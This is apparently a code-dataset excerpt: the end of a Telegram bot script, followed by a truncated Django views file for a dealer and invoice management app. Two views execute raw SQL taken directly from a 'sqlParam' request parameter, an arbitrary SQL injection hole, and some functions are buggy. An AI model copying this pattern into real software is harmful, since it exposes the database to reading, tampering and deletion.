''\r\n\r\n\r\n@bot.message_handler(commands=['start', 'help'])\r\ndef send_welcome(message):\r\n bot.send_message(message.chat.id, 'Hello! Enter your text')\r\n bot.register_next_step_handler(message, process_text)\r\n\r\n\r\ndef process_text(message):\r\n global bert_abstract\r\n markup = types.ReplyKeyboardRemove(selective=False)\r\n bot.send_message(message.chat.id, 'Enter your question')\r\n bert_abstract = message.text\r\n bot.register_next_step_handler(message, answer)\r\n\r\n\r\ndef answer(message):\r\n global question\r\n question = message.text\r\n markup = types.ReplyKeyboardRemove(selective=False)\r\n bot.send_message(message.chat.id, 'Analyzing...')\r\n\r\n markup = types.InlineKeyboardMarkup(row_width=2)\r\n item1 = types.InlineKeyboardButton(\"Change text\", callback_data='good')\r\n item2 = types.InlineKeyboardButton(\"Enter another question\", callback_data='bad')\r\n markup.add(item1, item2)\r\n\r\n bot.send_message(message.chat.id, answer_question(question, bert_abstract))\r\n do_again(message)\r\n\r\n\r\ndef do_again(message):\r\n global question\r\n bot.send_message(message.chat.id, 'Done, try another question)')\r\n bot.register_next_step_handler(message, answer)\r\n\r\n\r\nwhile True:\r\n try:\r\n bot.polling(none_stop=True)\r\n except:\r\n time.sleep(5)\r\n","repo_name":"alisher-amantay/active_learn","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24727322203","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom django.db.models import F\nfrom datetime import datetime, timedelta\nfrom django.forms.models import model_to_dict\n\n\n# from datetime import timedelta\n\nfrom .forms import (\n UserRegisterForm,\n ProfileForm,\n UserUpdateForm,\n DealerUpdateForm,\n ProfileUpdateForm,\n CustomerProfileForm,\n ProductForm,\n DealerRegisterForm,\n TaxInvoiceForm,\n quotationInvoiceForm,\n ProformaInvoiceForm,\n deliveryChallanForm,\n installationReportForm,\n)\nfrom .models import (\n Profile,\n CustomerProfile,\n Product,\n SerialNumbercounter,\n taxInvoice,\n gsttable,\n quotationInvoice,\n AllCounters,\n proformaInvoice,\n deliveryChallan,\n installationReport,\n\n)\nfrom django.contrib.auth.models import User\nimport json\nfrom django.http import JsonResponse, HttpResponse\nfrom django.forms.models import model_to_dict\nfrom django.db import connection, connections, transaction\n\n\n# Create your views here.\n\n# Home view - main view people will see after logging in\n\n\n@login_required\ndef home(request):\n dealercount = Profile.objects.all().count()\n customercount = CustomerProfile.objects.all().count()\n productcount = Product.objects.all().count()\n taxinvoice = taxInvoice.objects.all().count()\n proformainvoice = proformaInvoice.objects.all().count()\n context = {\n \"dealercount\":dealercount,\n \"customercount\":customercount,\n \"productcount\":productcount,\n \"taxinvoice\":taxinvoice,\n \"proformainvoice\":proformainvoice,\n\n }\n return render(request, \"index.html\", context)\n\n\n# New Registration of dealer\n@login_required\ndef Register(request):\n if request.method == \"POST\":\n form = DealerRegisterForm(request.POST)\n profileform = ProfileForm(request.POST)\n if form.is_valid() and profileform.is_valid():\n user = form.save()\n # user.set_password(user.password)\n if request.POST[\"userdesign\"] == \"medprime\":\n user.is_superuser = True\n else:\n user.is_superuser = False\n user.save()\n profile = profileform.save(commit=False)\n profile.user = user\n\n profile.save()\n\n return redirect(\"homepage\")\n else:\n form = DealerRegisterForm()\n profileform = ProfileForm()\n return render(\n request,\n \"distributer/registeruser.html\",\n {\"form\": form, \"profileform\": profileform},\n )\n\n\n# View/Edit dealer\n@login_required\ndef vieweditdealer(request):\n alldealer = Profile.objects.all()\n return render(request, \"distributer/editdistributer.html\", {\"alldealer\": alldealer})\n\n\n# view all billing invoices\n@login_required\ndef vieweinvoices(request):\n alltaxInvoice = taxInvoice.objects.all()\n totalInvoices = taxInvoice.objects.all().count()\n startdate = datetime.today()\n enddate = startdate - timedelta(days=14)\n totalthismonthsInvoices = taxInvoice.objects.filter(\n invoicedate__range=[startdate, enddate]\n ).count()\n context = {\n \"alltaxInvoice\": alltaxInvoice,\n \"totalInvoices\": totalInvoices,\n \"totalthismonthsInvoices\": totalthismonthsInvoices,\n \"startdate\": startdate,\n \"enddate\": enddate,\n }\n return render(request, \"Invoice/TaxInvoice/viewinvoice.html\", context)\n\n@login_required\ndef viewproinvoices(request):\n allProformaInvoice = proformaInvoice.objects.all()\n totalProformaInvoices = proformaInvoice.objects.all().count()\n # invoiceid = id\n # thatInvoice = proformaInvoice.objects.filter(invoiceid=request.invoiceid).first()\n startdate = datetime.today()\n enddate = startdate - timedelta(days=14)\n totalthismonthsInvoices = proformaInvoice.objects.filter(\n invoicedate__range=[startdate, enddate]\n ).count()\n context = {\n \"allProformaInvoice\": allProformaInvoice,\n \"totalProformaInvoices\": totalProformaInvoices,\n \"totalthismonthsInvoices\": totalthismonthsInvoices,\n \"startdate\": startdate,\n \"enddate\": enddate,\n # \"creatorid\": thatInvoice.creatorid,\n }\n return render(request, \"Invoice/ProformaInvoice/viewproinvoice.html\", context)\n\n\n# view all Quotation invoices\n@login_required\ndef viewequotations(request):\n allquotationInvoice = quotationInvoice.objects.all()\n totalInvoices = quotationInvoice.objects.all().count()\n startdate = datetime.today()\n enddate = startdate - timedelta(days=14)\n totalthismonthsInvoices = quotationInvoice.objects.filter(\n quotationdate__range=[startdate, enddate]\n ).count()\n context = {\n \"allquotationInvoice\": allquotationInvoice,\n \"totalInvoices\": totalInvoices,\n \"totalthismonthsInvoices\": totalthismonthsInvoices,\n \"startdate\": startdate,\n \"enddate\": enddate,\n }\n return render(request, \"Invoice/Quotation/viewquotations.html\", context)\n\n@login_required\ndef viewdeliverychallan(request):\n allchallaninvoice = deliveryChallan.objects.all()\n totalInvoices = deliveryChallan.objects.all().count()\n startdate = datetime.today()\n enddate = startdate - timedelta(days=14)\n totalthismonthsInvoices = deliveryChallan.objects.filter(\n challandate__range=[startdate, enddate]\n ).count()\n context = {\n \"allchallaninvoice\": allchallaninvoice,\n \"totalInvoices\": totalInvoices,\n \"totalthismonthsInvoices\": totalthismonthsInvoices,\n \"startdate\": startdate,\n \"enddate\": enddate,\n }\n return render(request, \"Invoice/DeliveryChallan/viewdeliverychallan.html\", context)\n\ndef view_installation_report(request):\n allinstallationreport = installationReport.objects.all()\n totalInvoices = installationReport.objects.all().count()\n startdate = datetime.today()\n enddate = startdate - timedelta(days=14)\n totalthismonthsInvoices = installationReport.objects.filter(\n installationDate__range=[startdate, enddate]\n ).count()\n context = {\n \"allinstallationreport\": allinstallationreport,\n \"totalInvoices\": totalInvoices,\n \"totalthismonthsInvoices\": totalthismonthsInvoices,\n \"startdate\": startdate,\n \"enddate\": enddate,\n }\n return render(request, \"Invoice/InstallationReport/viewinstallationreport.html\", context)\n \n\n# Individual Profile\n@login_required\ndef dealerProfile(request):\n if request.method == \"POST\":\n form = UserUpdateForm(request.POST, instance=request.user)\n profileform = ProfileUpdateForm(\n request.POST, request.FILES, instance=request.user.profile\n )\n if form.is_valid() and profileform.is_valid():\n form.save()\n profileform.save()\n return redirect(\"UserProfile\")\n else:\n form = UserUpdateForm(instance=request.user)\n profileform = ProfileUpdateForm(instance=request.user.profile)\n\n return render(\n request,\n \"distributer/UserProfile.html\",\n {\"form\": form, \"profileform\": profileform},\n )\n\n\n# New Registration of customer\n\n@login_required\ndef CustomerRegister(request):\n Profiledata = {\n \"distributer\": request.user.username,\n }\n form = UserRegisterForm(request.POST or None, request.FILES or None)\n profileform = CustomerProfileForm(request.POST or None, request.FILES or None)\n alldistributers = Profile.objects.all().order_by(\"user\")\n print(profileform)\n if request.method == \"POST\":\n if form.is_valid() and profileform.is_valid():\n try:\n if form.cleaned_data[\"email\"] != '':\n user = User.objects.get(email=form.cleaned_data[\"email\"])\n messages.warning(request, \"Email already exists!\")\n else :\n user = User.objects.get(email='jkfvjkdsv')\n except User.DoesNotExist:\n user = form.save()\n user.set_unusable_password()\n user.is_active = False\n user.save()\n profile = profileform.save(commit=False)\n profile.user = user\n profile.save()\n profileform = CustomerProfileForm()\n form = UserRegisterForm()\n messages.success(request, \"Customer created successfully!\") # <-\n else:\n messages.warning(request, \"Please fill form correctly!\")\n profileform = CustomerProfileForm(request.POST)\n form = UserRegisterForm(request.POST)\n return render(\n request,\n \"customer/registercustomer.html\",\n {\"form\": form, \"profileform\": profileform, \"alldistributers\": alldistributers},\n )\n\n\n# View/Edit dealer\n@login_required\ndef vieweditcustomer(request):\n allcustomer = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n return render(request, \"customer/viewcustomer.html\", {\"allcustomer\": allcustomer})\n\n# View/Edit dealer\n@login_required\ndef viewdealer(request):\n alldealer = Profile.objects.all() #filter(distributer=request.user.username)\n return render(request, \"distributer/viewdealer.html\", {\"alldealer\": alldealer})\n\n\n# add new product\n@login_required\ndef addproduct(request):\n if request.method == \"POST\":\n productform = ProductForm(request.POST)\n if productform.is_valid():\n productform.save()\n productform = ProductForm()\n messages.success(request, \"Product added successfully\")\n # return redirect(\"homepage\")\n\n else:\n productform = ProductForm()\n return render(request, \"product/addproduct.html\", {\"productform\": productform})\n\n\n# View/Edit products\n\n\n@login_required\ndef vieweditproducts(request):\n allproducts = Product.objects.all()\n return render(request, \"product/allproducts.html\", {\"allproducts\": allproducts})\n\n\n# create invoice\n@login_required\ndef invoice(request):\n # alldealers = Profile.objects.all()\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentUser = Profile.objects.all()#filter(user=request.user).first()\n currentUserName = currentUser.values_list('nameofcontact', flat=True)\n currentcounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n allproducts = Product.objects.all()\n taxinfform = TaxInvoiceForm(request.POST or None)\n context = {\n \"currentUserName\": currentUserName,\n \"allcustomers\": allcustomers,\n \"currentcounter\": currentcounter.counter,\n \"taxinfform\": taxinfform,\n \"allproducts\":allproducts, \n }\n if request.method == \"POST\":\n if taxinfform.is_valid():\n try:\n invoiceID = taxInvoice.objects.get(\n invoiceid=taxinfform.cleaned_data[\"invoiceid\"]\n )\n messages.warning(request, \"Please fill Invoice form!\")\n except taxInvoice.DoesNotExist:\n taxinfform.save()\n taxinfform = TaxInvoiceForm()\n invoiceCounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n taxinfform = TaxInvoiceForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Invoice!\")\n taxinfform = TaxInvoiceForm(request.POST)\n return render(request, \"Invoice/TaxInvoice/Invoice.html\", context)\n\n@login_required\ndef proformainvoice(request):\n # alldealers = Profile.objects.all()\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentUserName = request.user\n # currentUserName = currentUser.values_list('nameofcontact', flat=True)\n # print(currentUserName)\n currentcounter = AllCounters.objects.filter(name=\"proformainvoice\").first()\n allproducts = Product.objects.all()\n proformainvoice = ProformaInvoiceForm(request.POST or None)\n context = {\n \"currentUserName\": currentUserName,\n \"allcustomers\": allcustomers,\n \"currentcounter\": currentcounter.counter,\n \"proformainvoice\": proformainvoice,\n \"allproducts\":allproducts,\n }\n if request.method == \"POST\":\n if proformainvoice.is_valid():\n try:\n invoiceID = proformaInvoice.objects.get(\n invoiceid=proformainvoice.cleaned_data[\"invoiceid\"]\n )\n messages.warning(request, \"Please fill Invoice form!\")\n \n except proformaInvoice.DoesNotExist:\n proformainvoice.save()\n proformainvoice = ProformaInvoiceForm()\n invoiceCounter = AllCounters.objects.filter(name=\"proformainvoice\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n proformainvoice = ProformaInvoiceForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Invoice!\") \n proformainvoice = ProformaInvoiceForm(request.POST) \n\n return render(request, \"Invoice/ProformaInvoice/proformainvoice.html\", context)\n\n# # create invoice\n# @login_required\n# def createQuotation(request):\n# # alldealers = Profile.objects.all()\n# allcustomers = CustomerProfile.objects.filter(distributer=request.user.username)\n# currentcounter = SerialNumbercounter.objects.filter(id=1).first()\n# taxinfform = quotationInvoiceForm()\n# if request.method == \"POST\":\n# requestedtaxinfform = quotationInvoiceForm(request.POST)\n# if requestedtaxinfform.is_valid():\n# requestedtaxinfform.save()\n# requestedtaxinfform = quotationInvoiceForm()\n# invoiceCounter = AllCounters.objects.filter(name=\"quotation\").first()\n# invoiceCounter.counter = F(\"counter\") + 1\n# invoiceCounter.save()\n# vieweinvoices(request)\n# allquotationInvoice = quotationInvoice.objects.all()\n# totalInvoices = quotationInvoice.objects.all().count()\n# startdate = datetime.today()\n# enddate = startdate - timedelta(days=14)\n# totalthismonthsInvoices = quotationInvoice.objects.filter(\n# quotationdate__range=[startdate, enddate]\n# ).count()\n# context = {\n# \"allquotationInvoice\": allquotationInvoice,\n# \"totalInvoices\": totalInvoices,\n# \"totalthismonthsInvoices\": totalthismonthsInvoices,\n# \"startdate\": startdate,\n# \"enddate\": enddate,\n# }\n# return render(request, \"Invoice/Quotation/viewquotations.html\", context)\n# else:\n# return render(request, \"index.html\")\n# else:\n# context = {\n# \"allcustomers\": allcustomers,\n# \"currentcounter\": currentcounter,\n# \"taxinfform\": taxinfform,\n# }\n# return render(request, \"Invoice/Quotation/createquotation.html\", context)\n\n\n@login_required\ndef createQuotation(request):\n # alldealers = Profile.objects.all()\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentUserName = request.user\n # currentUserName = currentUser.values_list('nameofcontact', flat=True)\n # print(currentUserName)\n currentcounter = AllCounters.objects.filter(name=\"quotation\").first()\n allproducts = Product.objects.all()\n #proformainvoice = ProformaInvoiceForm(request.POST or None)\n quotationform = quotationInvoiceForm(request.POST or None)\n #print(quotationform)\n context = {\n \"currentUserName\": currentUserName,\n \"allcustomers\": allcustomers,\n \"currentcounter\": currentcounter.counter,\n \"quotationform\": quotationform,\n \"allproducts\":allproducts,\n }\n if request.method == \"POST\":\n if quotationform.is_valid():\n try:\n quotationID = quotationInvoice.objects.get(\n quotationid=quotationform.cleaned_data[\"quotationid\"]\n )\n messages.warning(request, \"Please fill quotation form!\")\n \n except quotationInvoice.DoesNotExist:\n quotationform.save()\n quotationform = quotationInvoiceForm()\n invoiceCounter = AllCounters.objects.filter(name=\"quotation\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n quotationform = quotationInvoiceForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Quotation!\") \n quotationform = quotationInvoiceForm(request.POST) \n\n return render(request, \"Invoice/Quotation/createquotation.html\", context)\n\n\n \n@login_required\ndef installation_Report(request):\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentUserName = request.user\n currentcounter = AllCounters.objects.filter(name=\"installationreport\").first()\n allproducts = Product.objects.all()\n installationreportform = installationReportForm(request.POST or None)\n print(installationreportform)\n context = {\n \"currentUserName\": currentUserName,\n \"allcustomers\": allcustomers,\n \"currentcounter\": currentcounter.counter,\n \"installationreportform\": installationreportform,\n \"allproducts\":allproducts,\n }\n if request.method == \"POST\":\n if installationreportform.is_valid():\n try:\n installationId = installationReport.objects.get(\n installationid=installationreportform.cleaned_data[\"installationid\"]\n )\n messages.warning(request, \"Please fill quotation form!\")\n \n except installationReport.DoesNotExist:\n installationreportform.save()\n installationreportform = installationReportForm()\n invoiceCounter = AllCounters.objects.filter(name=\"installationreport\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n installationreportform = installationReportForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Quotation!\") \n installationreportform = installationReportForm(request.POST) \n\n return render(request, \"Invoice/InstallationReport/InstallationReport.html\", context)\n\n\n# create Quotation\n# @login_required\n# def quotation(request):\n# # alldealers = Profile.objects.all()\n# allcustomers = CustomerProfile.objects.filter(distributer=request.user.username)\n# currentcounter = SerialNumbercounter.objects.filter(id=1).first()\n# context = {\"allcustomers\": allcustomers, \"currentcounter\": currentcounter}\n# return render(request, \"Invoice/Quotation/Quotation.html\", context)\n\n\n# create Delivery Challan\n@login_required\ndef deliverychallan(request):\n # alldealers = Profile.objects.all()\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentUserName = request.user\n # currentUserName = currentUser.values_list('nameofcontact', flat=True)\n # print(currentUserName)\n currentcounter = AllCounters.objects.filter(name=\"deliverychallan\").first()\n allproducts = Product.objects.all()\n #proformainvoice = ProformaInvoiceForm(request.POST or None)\n deliveryform = deliveryChallanForm(request.POST or None)\n context = {\n \"currentUserName\": currentUserName,\n \"allcustomers\": allcustomers,\n \"currentcounter\": currentcounter.counter,\n \"deliveryform\": deliveryform,\n \"allproducts\":allproducts,\n }\n if request.method == \"POST\":\n if deliveryform.is_valid():\n try:\n challanId = deliveryChallan.objects.get(\n challanid=deliveryform.cleaned_data[\"challanid\"]\n )\n messages.warning(request, \"Please fill quotation form!\")\n \n except deliveryChallan.DoesNotExist:\n deliveryform.save()\n deliveryform = deliveryChallanForm()\n invoiceCounter = AllCounters.objects.filter(name=\"deliverychallan\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n deliveryform = deliveryChallanForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Quotation!\") \n deliveryform = deliveryChallanForm(request.POST) \n\n return render(request, \"Invoice/DeliveryChallan/DeliveryChallan.html\", context)\n\n# create contractorbill\n@login_required\ndef contractorbill(request):\n # alldealers = Profile.objects.all()\n allcustomers = Profile.objects.all()\n currentcounter = SerialNumbercounter.objects.filter(id=1).first()\n context = {\"allcustomers\": allcustomers, \"currentcounter\": currentcounter}\n return render(request, \"Invoice/ContractorBill/ContractorBill.html\", context)\n\n\n# raw query to get all product data\n@login_required\ndef invoicegetallprod(request):\n cursor = connection.cursor()\n cursor.execute(\"SELECT * FROM public.mainapp_product\")\n rows = cursor.fetchall()\n\n json_data = []\n for row in rows:\n json_data.append({\"data\": row})\n return JsonResponse(json_data, safe=False)\n\n\n# raw query to get all product columns\n\n\n@login_required\ndef invoicegetallprodcol(request):\n\n cursor = connection.cursor()\n cursor.execute(\n \"SELECT column_name FROM information_schema.columns WHERE table_name = 'mainapp_product'\"\n )\n rows = cursor.fetchall()\n\n json_data = []\n for row in rows:\n json_data.append({\"col\": row})\n return JsonResponse(json_data, safe=False)\n\n\n# Get all Info of selected customer to create invoice\n@login_required\ndef getdetailofselectedcustmor(request):\n setParam = request.GET.get(\"sqlParam\", None)\n cursor = connection.cursor()\n cursor.execute(setParam)\n rows = cursor.fetchall()\n return JsonResponse(rows, safe=False)\n\n\n# Get Info of GST for that sate\n@login_required\ndef gettaxdetailofstate(request):\n setParam = request.GET.get(\"sqlParam\", None)\n cursor = connection.cursor()\n cursor.execute(setParam)\n rows = cursor.fetchall()\n return JsonResponse(rows, safe=False)\n\n\n# update individual product\n@login_required\ndef updatingproduct(request, id):\n productHSN = id\n thatProduct = Product.objects.filter(HSN=productHSN).first()\n ProductData = {\n \"name\": thatProduct.name,\n \"description\": thatProduct.description,\n \"HSN\": thatProduct.HSN,\n \"price\": thatProduct.price,\n }\n productform = ProductForm(initial=ProductData)\n return render(\n request,\n \"product/editingproduct.html\",\n {\"userid\": userid, \"username\": username, \"profileform\": productform},\n )\n\n@login_required\ndef removingdealer(request, id):\n try:\n instance = User.objects.filter(id=id)\n instance.delete()\n messages.success(request, \"Distributer removed Successfully !\")\n except User.DoesNotExist:\n messages.error(request, \"Something went Wrong!!\")\n alldealer = Profile.objects.all()\n return render(request, \"distributer/viewdealer.html\", {\"alldealer\": alldealer})\n\n@login_required\ndef removingcustomer(request, id):\n try:\n instance = User.objects.filter(id=id)\n instance.delete()\n messages.success(request, \"Customer removed Successfully !\")\n except User.DoesNotExist:\n messages.error(request, \"Something went Wrong!!\")\n allcustomer = CustomerProfile.objects.filter(distributer=request.user.username)\n return render(request, \"customer/viewcustomer.html\", {\"allcustomer\": allcustomer})\n\n@login_required\ndef deleteproduct(request, hsn):\n try:\n instance = Product.objects.filter(HSN=hsn)\n instance.delete()\n messages.success(request, \"Product removed Successfully !\")\n except User.DoesNotExist:\n messages.error(request, \"Something went Wrong!!\")\n allproducts = Product.objects.all()\n return render(request, \"product/allproducts.html\", {\"allproducts\": allproducts})\n\n\n@login_required\ndef editingdealer(request, id):\n UserbasicData = User.objects.filter(id=id).first()\n DealerProfileData = Profile.objects.filter(user_id=id).first()\n # currentUserName = currentUser.nameofcontact\n usercreationform = UserUpdateForm(instance=UserbasicData)\n profileform = ProfileForm(instance=DealerProfileData)\n\n if request.method == \"POST\":\n usercreationform = UserUpdateForm(request.POST,instance=UserbasicData)\n profileform = ProfileForm(request.POST,request.FILES, instance=DealerProfileData)\n if usercreationform.is_valid() and profileform.is_valid():\n usercreationform.save()\n profileform.save()\n messages.success(request, \"Edited successfully\")\n else :\n messages.warning(request, \"Error in Editing!\")\n context = {\n \"form\":usercreationform,\n \"profileform\":profileform\n }\n return render(request, \"distributer/editdealer.html\", context)\n\n@login_required\ndef editingproduct(request, hsn):\n ProductData = Product.objects.filter(HSN=hsn).first()\n # currentUserName = currentUser.nameofcontact\n prodform = ProductForm(instance=ProductData)\n\n if request.method == \"POST\":\n prodform = ProductForm(request.POST, instance=ProductData)\n if prodform.is_valid() :\n prodform.save()\n messages.success(request, \"Edited successfully\")\n else :\n messages.warning(request, \"Error in Editing!\")\n context = {\n \"productform\":prodform,\n }\n return render(request, \"product/editproduct.html\", context)\n\n\n# editing invoice\n@login_required\ndef editinginvoice(request, id):\n # allcustomers = CustomerProfile.objects.filter(distributer=request.user.username)\n # currentUser = Profile.objects.filter(user=request.user).first()\n # currentUserName = currentUser.values_list('nameofcontact', flat=True)\n # currentcounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n # taxinfform = TaxInvoiceForm(request.POST or None)\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentcounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n currentUser = Profile.objects.all()#filter(user=request.user).first()\n currentUserName = request.user#currentUser.values_list('nameofcontact', flat=True)\n taxinfform = TaxInvoiceForm(request.POST or None)\n allproducts = Product.objects.all()\n gstvalues = gsttable.objects.all()\n invoiceid = id\n thatInvoice = taxInvoice.objects.filter(invoiceid=invoiceid).first()\n context = {\n \"currentUserName\": currentUserName,\n \"thatInvoice\": thatInvoice,\n \"invoiceid\": invoiceid,\n \"allproducts\": allproducts,\n \"allcustomers\": allcustomers,\n \"gstvalues\": gstvalues,\n \"currentcounter\": currentcounter.counter,\n \"taxinfform\": taxinfform,\n \"creatorid\": thatInvoice.creatorid,\n \"customerid\": thatInvoice.customerid,\n \"invoicedate\": thatInvoice.invoicedate,\n \"po\": thatInvoice.po,\n \"items\": thatInvoice.items,\n \"finalamount\": thatInvoice.finalamount,\n \"adjustmentamount\": thatInvoice.adjustmentamount,\n \"signature\": thatInvoice.signature,\n }\n if request.method == \"POST\":\n if taxinfform.is_valid():\n try:\n invoiceID = taxInvoice.objects.get(\n invoiceid=taxinfform.cleaned_data[\"invoiceid\"]\n )\n messages.warning(request, \"Please fill Invoice form!\")\n except taxInvoice.DoesNotExist:\n taxinfform.save()\n taxinfform = TaxInvoiceForm()\n invoiceCounter = AllCounters.objects.filter(name=\"proformainvoice\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n taxinfform = TaxInvoiceForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Invoice!\")\n return render(request, \"Invoice/TaxInvoice/editinginvoice.html\", context)\n\n@login_required\ndef editing_proforma_invoice(request, id):\n # allcustomers = CustomerProfile.objects.filter(distributer=request.user.username)\n # currentUser = Profile.objects.filter(user=request.user).first()\n # currentUserName = currentUser.values_list('nameofcontact', flat=True)\n # currentcounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n # taxinfform = TaxInvoiceForm(request.POST or None)\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentcounter = AllCounters.objects.filter(name=\"proformainvoice\").first()\n currentUser = Profile.objects.all()#filter(user=request.user).first()\n currentUserName = request.user#currentUser.values_list('nameofcontact', flat=True)\n proformainvoiceform = ProformaInvoiceForm(request.POST or None)\n allproducts = Product.objects.all()\n gstvalues = gsttable.objects.all()\n invoiceid = id\n thatInvoice = proformaInvoice.objects.filter(invoiceid=invoiceid).first()\n context = {\n \"currentUserName\": currentUserName,\n \"thatInvoice\": thatInvoice,\n \"invoiceid\": invoiceid,\n \"allproducts\": allproducts,\n \"allcustomers\": allcustomers,\n \"gstvalues\": gstvalues,\n \"currentcounter\": currentcounter.counter,\n \"proformainvoiceform\": proformainvoiceform,\n \"creatorid\": thatInvoice.creatorid,\n \"customerid\": thatInvoice.customerid,\n \"invoicedate\": thatInvoice.invoicedate,\n \"po\": thatInvoice.po,\n \"items\": thatInvoice.items,\n \"finalamount\": thatInvoice.finalamount,\n \"signature\": thatInvoice.signature,\n }\n if request.method == \"POST\":\n if proformainvoiceform.is_valid():\n try:\n invoiceID = proformaInvoice.objects.get(\n invoiceid=proformainvoiceform.cleaned_data[\"invoiceid\"]\n )\n messages.warning(request, \"Please fill Invoice form!\")\n except proformaInvoice.DoesNotExist:\n proformainvoiceform.save()\n proformainvoiceform = ProformaInvoiceForm()\n invoiceCounter = AllCounters.objects.filter(name=\"proformainvoice\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n proformainvoiceform = ProformaInvoiceForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Invoice!\")\n return render(request, \"Invoice/ProformaInvoice/editingproinvoice.html\", context)\n\n@login_required\ndef cloning_proforma_invoice(request, id):\n # allcustomers = CustomerProfile.objects.filter(distributer=request.user.username)\n # currentUser = Profile.objects.filter(user=request.user).first()\n # currentUserName = currentUser.values_list('nameofcontact', flat=True)\n # currentcounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n # taxinfform = TaxInvoiceForm(request.POST or None)\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentcounter = AllCounters.objects.filter(name=\"proformainvoice\").first()\n currentUser = Profile.objects.all()#filter(user=request.user).first()\n currentUserName = request.user#currentUser.values_list('nameofcontact', flat=True)\n proformainvoiceform = ProformaInvoiceForm(request.POST or None)\n allproducts = Product.objects.all()\n gstvalues = gsttable.objects.all()\n invoiceid = id\n thatInvoice = proformaInvoice.objects.filter(invoiceid=invoiceid).first()\n context = {\n \"currentUserName\": currentUserName,\n \"thatInvoice\": thatInvoice,\n \"invoiceid\": invoiceid,\n \"allproducts\": allproducts,\n \"allcustomers\": allcustomers,\n \"gstvalues\": gstvalues,\n \"currentcounter\": currentcounter.counter,\n \"proformainvoiceform\": proformainvoiceform,\n \"creatorid\": thatInvoice.creatorid,\n \"customerid\": thatInvoice.customerid,\n \"invoicedate\": thatInvoice.invoicedate,\n \"po\": thatInvoice.po,\n \"items\": thatInvoice.items,\n \"finalamount\": thatInvoice.finalamount,\n \"signature\": thatInvoice.signature,\n }\n if request.method == \"POST\":\n if proformainvoiceform.is_valid():\n try:\n invoiceID = proformaInvoice.objects.get(\n invoiceid=proformainvoiceform.cleaned_data[\"invoiceid\"]\n )\n messages.warning(request, \"Please fill Invoice form!\")\n except proformaInvoice.DoesNotExist:\n proformainvoiceform.save()\n proformainvoiceform = ProformaInvoiceForm()\n invoiceCounter = AllCounters.objects.filter(name=\"proformainvoice\").first()\n invoiceCounter.counter = F(\"counter\") + 1\n invoiceCounter.save()\n proformainvoiceform = ProformaInvoiceForm()\n messages.success(request, \"Invoice Generated successfully\")\n else:\n messages.warning(request, \"Error Generating Invoice!\")\n return render(request, \"Invoice/ProformaInvoice/cloningproinvoice.html\", context)\n\n@login_required\ndef proforma_to_invoice(request, id):\n # allcustomers = CustomerProfile.objects.filter(distributer=request.user.username)\n # currentUser = Profile.objects.filter(user=request.user).first()\n # currentUserName = currentUser.values_list('nameofcontact', flat=True)\n # currentcounter = AllCounters.objects.filter(name=\"taxinvoice\").first()\n # taxinfform = TaxInvoiceForm(request.POST or None)\n allcustomers = CustomerProfile.objects.all()#filter(distributer=request.user.username)\n currentcounter = AllCounters.objects.filter(name=\"proformainvoice\").first()\n currentUser = Profile.objects.all()#filter(user=request.user).first()\n currentUserName = request.user#currentUser.values_list('nameofcontact', flat=True)\n #proformainvoiceform = ProformaInvoiceForm(request.POST or None)\n taxinfform = TaxInvoiceForm(request.POST or None)\n allproducts = Product.objects.all()\n gstvalues = gsttable.objects.all()\n invoiceid = id\n thatInvoice = proformaInvoice.objects.filter(invoiceid=invoiceid).first()\n context = {\n \"currentUserName\": currentUserName,\n \"thatInvoice\": thatInvoice,\n \"invoiceid\": invoiceid,\n \"allproducts\": allproducts,\n \"allcustomers\": allcustomers,\n \"gstvalues\": gstvalues,\n \"currentcounter\": currentcounter.counter,\n #\"proformainvoiceform\": proformainvoiceform,\n \"taxinfform\":taxinfform,\n \"creatorid\": thatInvoice.creatorid,\n \"customerid\": thatInvoice.customerid,\n \"invoicedate\": thatInvoice.invoicedate,\n \"po\": thatInvoice.po,\n \"items\": thatInvoice.items,\n \"finalamount\": thatInvoice.finalamount,\n \"signature\": thatInvoice.signature,\n }\n if request.method == \"POST\":\n if taxinfform.is_valid():\n try:\n invoiceID = taxInvoice.objects.get(\n invoiceid=taxinfform.cleaned_data[\"invoiceid\"]\n )\n messages.warning(request, \"Please fill Invoice form!\")\n except taxInvoice.DoesNotExist:\n taxinfform.save()\n taxinfform = TaxInvoiceForm()\n invoiceCounter = 